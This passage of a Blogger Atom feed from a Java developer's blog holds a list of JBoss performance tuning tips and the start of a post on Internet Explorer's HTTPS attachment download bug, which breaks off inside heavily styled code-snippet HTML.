The class House will have an instance variable, &lt;br /&gt;&lt;/pre&gt;which refers to a Bathroom object.&lt;br /&gt;&lt;br /&gt;Article taken from Oracle Magazine march 2008 issue&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5283210394255193788?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5283210394255193788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5283210394255193788' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5283210394255193788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5283210394255193788'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/01/what-is-is-and-has-relationship.html' title='what is &apos;is a&apos; and &apos;has a&apos; relationship:'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8456115866684961160</id><published>2009-12-31T10:11:00.001-08:00</published><updated>2009-12-31T10:11:26.275-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Some Ways To JBoss Performance Tuning'/><title type='text'>Some Ways To JBoss Performance Tuning</title><content type='html'>&lt;span class="Apple-style-span" style="color: #333333; font-family: Verdana, Tahoma, Arial, serif; font-size: 13px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 1.6em; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;I found this great article written by&amp;nbsp;&lt;strong style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;&lt;span class="small" style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;F.Marchioni&amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;span class="small" style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;at his&amp;nbsp;&lt;span class="IL_AD" id="IL_AD3" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: scroll !important; background-color: transparent !important; background-image: none !important; background-position: 0% 50%; background-repeat: repeat !important; border-bottom-color: rgb(255, 102, 0) !important; border-bottom-style: dotted !important; border-bottom-width: 1px !important; color: rgb(255, 102, 0) !important; cursor: pointer !important; display: inline !important; font-family: Verdana, Tahoma, Arial, serif !important; font-size: 13px !important; font-style: normal !important; font-weight: normal !important; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 1px; padding-left: 0em; padding-right: 0em; padding-top: 0em; position: static;"&gt;website&lt;/span&gt;. You can read detailed article at his&amp;nbsp;website&amp;nbsp;by&amp;nbsp;&lt;a href="http://www.mastertheboss.com/en/jboss-application-server/113-jboss-performance-tuning-1.html" style="border-bottom-color: rgb(185, 109, 0); border-bottom-style: dashed; border-bottom-width: 1px; color: #b96d00; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em; text-decoration: none;" target="_blank"&gt;clicking here&lt;/a&gt;. This is my all time favorite reference for tuning up my JBoss.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="line-height: 1.6em; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;&lt;span class="small" style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;I am just providing just a gist of what he is saying regarding the JBoss Performance Tuning.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="line-height: 1.6em; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;"&gt;1. Tune the garbage collector&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;2. Set -xms and -xmx to the same value&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;3. Use server vm&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;4. Turn off distributed garbage collection&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;5. Turn on parallel garbage collection&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;6. Don’t use huge heaps, use a cluster&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;7. Don’t choose an heap larger then 70% of your os memory&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;8. Tune the heap ratio&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;9. Monitor the free memory with monitors and snapshots&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;10. Tune the operating system&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;11. Lots of requests ? Check jboss thread pool&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;12. Check the embedded web container&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;13.&amp;nbsp; Turn off jsp compilation in production&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;14. lots of ejb requests ? Switch to the poolinvoker&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;15. Have you got readonly entity beans ? Tell it to jboss&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;16. Disable the hot deployer in production&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;17.&amp;nbsp; Configure the ejb container to use cache, when possible.&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;18. Use cache invalidation in a cluster for commit option a&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;19. Synchronize at commit time when possible.&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;20. Use prepared statement cache&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;21. Remove services you don’t need&lt;br style="margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; padding-bottom: 0em; padding-left: 0em; padding-right: 0em; padding-top: 0em;" /&gt;22. Tell log4j to shut up !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8456115866684961160?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8456115866684961160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8456115866684961160' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8456115866684961160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8456115866684961160'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2009/12/some-ways-to-jboss-performance-tuning.html' title='Some Ways To JBoss Performance Tuning'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-195603739354596428</id><published>2009-12-31T10:04:00.000-08:00</published><updated>2009-12-31T10:04:13.835-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='“Internet Explorer Cannot Download” Error Message When You Use HTTPS URL'/><title type='text'>“Internet Explorer Cannot Download” Error Message When You Use HTTPS URL</title><content type='html'>&lt;span class="Apple-style-span" style="color: #555555; font-family: Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif; font-size: 12px; line-height: 17px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify" style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Internet Explorer will not display attachments when HTTPS is used. This bug has been documented in the link below.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://support.microsoft.com/kb/812935/" style="color: #2970a6; text-decoration: none;"&gt;http://support.microsoft.com/kb/812935/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;If&amp;nbsp; the development environment is not using HTTPS this issue will be&lt;br /&gt;identified only at a later stage when we move on to integration testing&lt;br /&gt;environment where we normally use HTTPS.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;The following are the steps to be followed for the workaround.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;1. In the Servlet code please use the below snippet.&lt;br /&gt;&lt;/div&gt;&lt;div class="syntaxhighlighter  " id="highlighter_20494" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 1em !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 1em !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 1px !important; padding-left: 1px !important; padding-right: 1px !important; padding-top: 1px !important; position: relative !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: 594px;"&gt;&lt;div class="lines" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;response.reset();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(248, 248, 248) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="comments" 